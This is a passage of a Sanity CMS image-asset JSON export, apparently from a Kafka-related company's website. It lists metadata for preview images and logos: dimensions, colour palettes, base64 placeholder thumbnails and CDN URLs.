aletteSwatch","background":"#fabd71","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a2745e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":22.19,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Hookdeck_social_media_1200x628.png","path":"images/sczeoy4w/production/f54079283bdd01528368e5c4a6d02120052e91ca-3295x1724.png","sha1hash":"f54079283bdd01528368e5c4a6d02120052e91ca","size":69872,"uploadId":"i0QkohAUrTVHdQSKFEQN1FRSDVod8cdC","url":"https://cdn.sanity.io/images/sczeoy4w/production/f54079283bdd01528368e5c4a6d02120052e91ca-3295x1724.png"} {"_createdAt":"2023-11-01T16:49:03Z","_id":"image-f54e604655c7940f85893108b3ab9d03ff0e1b0e-900x300-png","_rev":"yGYi2HTu7doJg1fO7gkAQf","_type":"sanity.imageAsset","_updatedAt":"2023-11-01T16:49:03Z","assetId":"f54e604655c7940f85893108b3ab9d03ff0e1b0e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DGF~gdxu00NG00~qt7D%RjIU","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3,"height":300,"width":900},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAC4jAAAuIwF4pT92AAABi0lEQVQokYWRP0gcURDG5/Y0etimSEwZBBtRRCFEQiBpRK1UrhBLr7Czt7QRhRRpRJAIIaQMAbkgR7SIWIiVhaisIN6y59vzPHX37ds3768c8f4QkHzwMQzM/OaDAQAAa22r2621XdbaTLlSTW/v7Ds7fw6c/K8C9C78BOhYAhj7Bt3zWzC8+BtWt04ht34I48t70JDSugETQvQj4hwiThIS9Lru+ZvLy+KI5191hwxfJkINCqVHlDYDSpvn2piUNgaUNk2gELIOzDDGZqKI7lJKNwghWc8rfiKEfC2RIBvcxtNVipthIgsxl2sM1XshdTtKBYlQTSCiqAM7KY2n7sMoH0bRZxIEE77vr5Ag+OFfkZx/E82WQ/69SnHvnokvUSI/cKGexVwC5bIJlLKR0Ek49sSMZ1nCP5avK6+Knj/kl8hY0Sv1BdXo9V0s3oVMjFIu38ZcvkCpnQQVMGxJ+M9T2szfp3TehbFzdOymz9yLjpNTt80alqodtdamH2utb+w+BXzC5r8zNT0AvQdwCTVAoGIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484448","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#140605","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1bfb7","foreground":"#000","population":0.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1bfb7","foreground":"#000","population":0.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0d4f4","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#847c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#446c98","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (3).png","path":"images/sczeoy4w/production/f54e604655c7940f85893108b3ab9d03ff0e1b0e-900x300.png","sha1hash":"f54e604655c7940f85893108b3ab9d03ff0e1b0e","size":22707,"uploadId":"q8c90XGuR19itMyF7GxtO6yPeDY9Ug1B","url":"https://cdn.sanity.io/images/sczeoy4w/production/f54e604655c7940f85893108b3ab9d03ff0e1b0e-900x300.png"} {"_createdAt":"2022-07-22T15:43:38Z","_id":"image-f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630-jpg","_rev":"6dL6g4nysEm9xfErotc01P","_type":"sanity.imageAsset","_updatedAt":"2022-07-22T15:43:38Z","assetId":"f570ae573ec8bbb9dc33f26764cfbe321d66a338","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEQ+.?L4bwrV_3BZI:bc-OT1tmrVjDT1nN","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAAMFB//EACUQAAEDAgQHAQAAAAAAAAAAAAIAAQMEEQUSEyEUIjEyQlFxkf/EABYBAQEBAAAAAAAAAAAAAAAAAAQCA//EAB0RAAEEAgMAAAAAAAAAAAAAAAEAAgMREhMhMXH/2gAMAwEAAhEDEQA/AO61VHihVMhQ1IjET7Nm6MmJSVMEcUWob8j3JvIvS0Y2tUm+/wCqGLAJwhma9iZGleZBjdeJDI8DfatQSS8JHri7SW3RWHtb4igTuHC00tK//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#353d59","foreground":"#fff","population":0.23,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aa5c31","foreground":"#fff","population":0.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f27d0c","foreground":"#fff","population":0.79,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c79893","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fbd65c","foreground":"#000","population":0.02,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#998250","foreground":"#fff","population":0.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f27d0c","foreground":"#fff","population":0.79,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Time_series_databases_meta_preview.jpeg","path":"images/sczeoy4w/production/f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630.jpg","sha1hash":"f570ae573ec8bbb9dc33f26764cfbe321d66a338","size":219680,"uploadId":"iSGxnImeR8YiEijvz6EkBwUPXIUrVFVT","url":"https://cdn.sanity.io/images/sczeoy4w/production/f570ae573ec8bbb9dc33f26764cfbe321d66a338-1200x630.jpg"} {"_createdAt":"2023-03-30T17:02:23Z","_id":"image-f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655-png","_rev":"Fl2c73WgS9jO0pBHiMJBpv","_type":"sanity.imageAsset","_updatedAt":"2023-03-30T17:02:23Z","assetId":"f5ba0b8c454513abe6babd7ff431ad38e3d2bfca","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9541984732824427,"height":655,"width":1280},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABLUlEQVQokY2Pa0vDQBBF8/9/lX5VxE8WaqtWTLJJs++dmX0lG0laqUhFD5cdWPbMZauu65uGNU1b1w1jvXOQF8ZxHE/nD/J6Oa1UShohtJJaKa21cQ4cAAACICIS+S/CKSHElNb9OVeqUYYbBAwhxpAQUEklBiG4VMogUghxMVbCMtOlWW5qVQ/WWCKfYgpIhkvRcz5wKbVzQOS/x/uQcy6lzPNctVt2rAchpDZ2afDBGauV0dpYC4iEeNLoivzyKj9q3nUDF5KQogVkHHrhgWJM18jTNM0r1fOOHw7Htu2HQaB16a2hmwd/9zQqW37hZC7yfs/q+iiFdNYl8vnAwu1jvN8U5ebLs+tUbLfnrEOAnHIZp0Jh4npSdk75D3WR37dD3xLi+SelnPMPPgGq3UCkQrKrvAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#382444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ac3251","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dc1d4d","foreground":"#fff","population":0.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e1bdcc","foreground":"#000","population":0.45,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#84b3f1","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#51a277","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dc1d4d","foreground":"#fff","population":0.56,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"kafka-migrate-external-kafka.png","path":"images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png","sha1hash":"f5ba0b8c454513abe6babd7ff431ad38e3d2bfca","size":41368,"uploadId":"PVEeIqfUfgPpXqhKavebExMBLkEC3Y2j","url":"https://cdn.sanity.io/images/sczeoy4w/production/f5ba0b8c454513abe6babd7ff431ad38e3d2bfca-1280x655.png"} {"_createdAt":"2022-08-29T12:21:23Z","_id":"image-f6195084a2194fcd9e4bbb04dceeea6b27fa99f0-1200x630-jpg","_rev":"BBSsdcKfQe4E5jW8UxjYp4","_type":"sanity.imageAsset","_updatedAt":"2022-08-29T12:21:23Z","assetId":"f6195084a2194fcd9e4bbb04dceeea6b27fa99f0","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPQvXsuMiwm..S-nNGoft7kC.lMKW:x[Q.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUDBAj/xAAiEAACAQQCAQUAAAAAAAAAAAABAwIABAURBhMhEjFBYZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAH/xAAZEQACAwEAAAAAAAAAAAAAAAABAgADEUH/2gAMAwEAAhEDEQA/ANAXCMpO7ZNV1EKMtxBlSjm3JMtgcMtsYp7GM9HYATGI+6fqGrmZ8/tS3CFXKiq4XBiz7xkNikXAdMSp1rsDMNA5KPD88/MYJN3cRIZIkEgaB180UwUqCVhaoRhCPgRiNAUVEDZltis5ZRgPJ//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#464748","foreground":"#fff","population":0.48,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#982b86","foreground":"#fff","population":1.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#982b86","foreground":"#fff","population":1.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b7a5","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6cc4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b48566","foreground":"#fff","population":0.13,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d1096e","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kafka_product_page_meta_preview.jpeg","path":"images/sczeoy4w/production/f6195084a2194fcd9e4bbb04dceeea6b27fa99f0-1200x630.jpg","sha1hash":"f6195084a2194fcd9e4bbb04dceeea6b27fa99f0","size":142716,"uploadId":"RskIrMOcT5vhyz3lvj8n2JFB4iDKKOfg","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6195084a2194fcd9e4bbb04dceeea6b27fa99f0-1200x630.jpg"} {"_createdAt":"2022-09-12T09:51:37Z","_id":"image-f662024aa70aa58363b8dd7ea64f7e5815c5e057-1200x1200-png","_rev":"5HgAFtaJQ8fRdJpU8XwZyk","_type":"sanity.imageAsset","_updatedAt":"2022-09-12T09:51:37Z","assetId":"f662024aa70aa58363b8dd7ea64f7e5815c5e057","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1200,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#355353","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042597","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88208","foreground":"#000","population":2.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdc8cd","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657096","foreground":"#fff","population":0.42,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88208","foreground":"#000","population":2.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"energy-panel.png","path":"images/sczeoy4w/production/f662024aa70aa58363b8dd7ea64f7e5815c5e057-1200x1200.png","sha1hash":"f662024aa70aa58363b8dd7ea64f7e5815c5e057","size":128585,"uploadId":"ANRlLV0sLRrST5m4oXejrL3ia7fNce8i","url":"https://cdn.sanity.io/images/sczeoy4w/production/f662024aa70aa58363b8dd7ea64f7e5815c5e057-1200x1200.png"} {"_createdAt":"2023-11-18T22:56:47Z","_id":"image-f6bf2cceb3c4fb3734c7968a3495bfd3f7893aa2-1027x413-png","_rev":"BjY9n6joNYFLmv1rrz5gEt","_type":"sanity.imageAsset","_updatedAt":"2023-11-18T22:56:47Z","assetId":"f6bf2cceb3c4fb3734c7968a3495bfd3f7893aa2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D01p19j{abj{auokavfPavfP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.486682808716707,"height":413,"width":1027},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAABRNAAAUTQGUyo0vAAAAwElEQVQokaWRTUoDURCE3wWqN6Fq4a2qySZ7N95M8ADJIivv4TogRlEwjOZnpKODWTkwLj4auusVRb0G+gr0DeT7UD6H8iOUn1NpoK9Br0C/hHIfymMoT1NpoNegt6HsQf8PuS/DJ9AVt5aTk4E+00LuQj6CdfApRkxRmgsD/LKv2tpPmbXov1P+zVBNzUsgP4JelmEXygPo+oxRBl1N0PWuA70J+S7kRRm+hvId9C6UO3CMQefiDfQD6FvI85BnX/TO4EF5PZ83AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0c0c10","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":81.16,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":81.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#131f85","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8a96ee","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#131f85","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f35df","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design.png","path":"images/sczeoy4w/production/f6bf2cceb3c4fb3734c7968a3495bfd3f7893aa2-1027x413.png","sha1hash":"f6bf2cceb3c4fb3734c7968a3495bfd3f7893aa2","size":9265,"uploadId":"ojTsmss9YAo4jsewtQDQ0BPl5nSL7H3g","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6bf2cceb3c4fb3734c7968a3495bfd3f7893aa2-1027x413.png"} {"_createdAt":"2024-02-21T12:16:36Z","_id":"image-f6d2d26a784232985ad5236e6cc8941f338791ad-736x258-png","_rev":"AhQsd13Ciq0lSu1FlcSlde","_type":"sanity.imageAsset","_updatedAt":"2024-02-21T12:16:36Z","assetId":"f6d2d26a784232985ad5236e6cc8941f338791ad","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DGBUng1r^S%55$}I61,]oNJ6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.852713178294574,"height":258,"width":736},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAACC0lEQVQokWMw0tVkMtTTFjTS1xYx1tdm09XTZzDUVGLABZZo9jHsVW9VPK7VWn9Jv/XmXZPW+08t2npeWLRo3pUuYGTQDm3g0A5r1NEOrjXS8i8WlNv7n+H/fwYGRiYmRgYGBmYoZuFl5mYDsWcp13Ns1e/xPWDZv/ec65Qvt/2nf3/sN/X4M8fe6GdqtRwMKvm7ZLSqz+VoVZ+r0Cg5oC0uLcv4//9/BkZmVhYGBgZuBgYGXgYGBj52JjZBBgYGzolqtfzrzCZn7nCece9Y4Lz/l0Lm/L/mPun5NbPWmouq5fwM8sUnVDRbHtZrtz3u1aq7YiZmk8hkUrmXgYmDF+QydpAhDAwMXBxM7CDDWSdrtHIuNZ4cstp62tHtzjO/77Ob+HuTXvWDmQqJNblC9kIMcunrhdSqzltr1V500i49IKVqF86kmbWGgUvWECXsJNnEGUFuzdfNZJ6q2aU6V7evZIVB/8aV2q27W2TjF3jyG8aLc/CLMhiamAvoWrqJ6Fl7iBia2/AZGRmxGhmbMIgICaAYyMXDxWBlZsVkYGTA6aPrJVihma/Ro1nl1qVe5BMt62mvJCKrK6+gIMZgZGQkY2xkKGtkaCBrZGQoYWRkxG1kZMRoYWnJoKioyMDIyMggKSnJ4OrqClLLYmRkJGRkZCRhZGwkYWZkKmNmZCpnbGQsAzLHyMhIGgBEz4zXaosgWQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344960","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#90083c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0f88f6","foreground":"#fff","population":0.49,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4bccc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#67bbf8","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c619e","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f88f6","foreground":"#fff","population":0.49,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-migration-cloudkarafka-aiven-for-apache-kafka.png","path":"images/sczeoy4w/production/f6d2d26a784232985ad5236e6cc8941f338791ad-736x258.png","sha1hash":"f6d2d26a784232985ad5236e6cc8941f338791ad","size":16387,"uploadId":"wImaGJjoPl9DDrBU4gQFXJZ8TnY81kpt","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6d2d26a784232985ad5236e6cc8941f338791ad-736x258.png"} {"_createdAt":"2022-07-08T09:49:24Z","_id":"image-f6d2fa06cb91076411a2ca9bebf6492fdb301249-1724x794-png","_rev":"CK1sLU2mnwa3vmbYWEeSmx","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:31:33Z","assetId":"f6d2fa06cb91076411a2ca9bebf6492fdb301249","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MHSPX_%M~qWAIU%Nj[jsa|ofxuf6j@j[WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.1712846347607053,"height":794,"width":1724},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABM0lEQVQokW2SC6+DIAyF9/9/424yaUUU3ETiY256btpdyLZckhOUx9fTltNxHHiXDJnv9zuGYYD3ASEE+NDD+V7/b9cr5nnG8/n8uCs6fS9kreuqQOcc6roG1xbEDEsVQlsjjVGDHvteTMhQYB7yve+7RpbDMUa0bQtmBguUCdb8wDcGcbhhWRY9n+8Wh7L4eDxUAtq2TedxHBVIRCBiMBlwdYZ3hDEOmKZJM5F7wihAAUhNRBJVYKKUErqu+wOSOqy5gvetBpP9lJKCBVqAOUWJJsrA7NAYU4BsLvBto3vZ4bZtnw6zcv0kmhyUGkpTBKiqKvDljOBYm7IsawGVGpaOfDUmp9z3Pay1L4dk0DWE8RYwz5M6e39qpcv/vcPsUlJz7tXpxjLitcG6JIXld/je5V9HvLeSWvu+1wAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4540","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#76420d","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e2b3","foreground":"#000","population":0.08,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4d6","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e2b3","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7488ac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e89039","foreground":"#000","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"f6d2fa06cb91076411a2ca9bebf6492fdb301249-1724x794.png","path":"images/sczeoy4w/production/f6d2fa06cb91076411a2ca9bebf6492fdb301249-1724x794.png","sha1hash":"f6d2fa06cb91076411a2ca9bebf6492fdb301249","size":240699,"uploadId":"9q6tBGeZEmaHYFWQgtSG6eX5oohB37BO","url":"https://cdn.sanity.io/images/sczeoy4w/production/f6d2fa06cb91076411a2ca9bebf6492fdb301249-1724x794.png"} {"_createdAt":"2024-06-10T15:22:55Z","_id":"image-f6e2f91ec622301501cea8b1058f5b019ab11f54-2430x816-png","_rev":"rE19qWqXtwbnyVyXl5PggC","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:55Z","assetId":"f6e2f91ec622301501cea8b1058f5b019ab11f54","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DASF-GwO~VbbOZ_2n,MzoI%L","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9779411764705883,"height":816,"width":2430},"exif":{"PixelXDimension":2430,"PixelYDimension":816,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABO0lEQVQokXWRyU7EMBBE5/8/iQsHxAE0EogR3Nhmy2bHjpPYEy95KB5pWCQOT2232tWl8mqeZ1JIzDGxnGfINS6kmZQSMUZCCD9Y7udejDHP5LfzzCr5yKkyTLXB6wEnOpyxKBeQLmBGS9MIyqpGSoVSGq27C11nsNZdRFdxCpiDwmwF3fMH1fUj4mVHqR1F72m7nuOxYLfbU9cNUkqkbDNCtrStYhjG7DQLeh8pxUBVatrNK+XVPc3mg0o6CuWRemR/qHl7P7LdVZSloGkkQpxplcZa++3Qh0ihRio10gtFty3ohUZ2E5Wa2Bc964eC65std+sD75+LqwFjRobR4twpZ/mdYUq4k8dN57C997lOPuJOgbqxPG4Et3clD0+CQ7EIBbxPvz7jIvi38ZcQl4URa0OuPixC/89/AfoTGrP+Z1ZcAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e4681","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9c1c5c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8ba6ec","foreground":"#000","population":0.61,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d196b4","foreground":"#000","population":0.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ba6ec","foreground":"#000","population":0.61,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9f6285","foreground":"#fff","population":0.17,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d5d9d","foreground":"#fff","population":0.07,"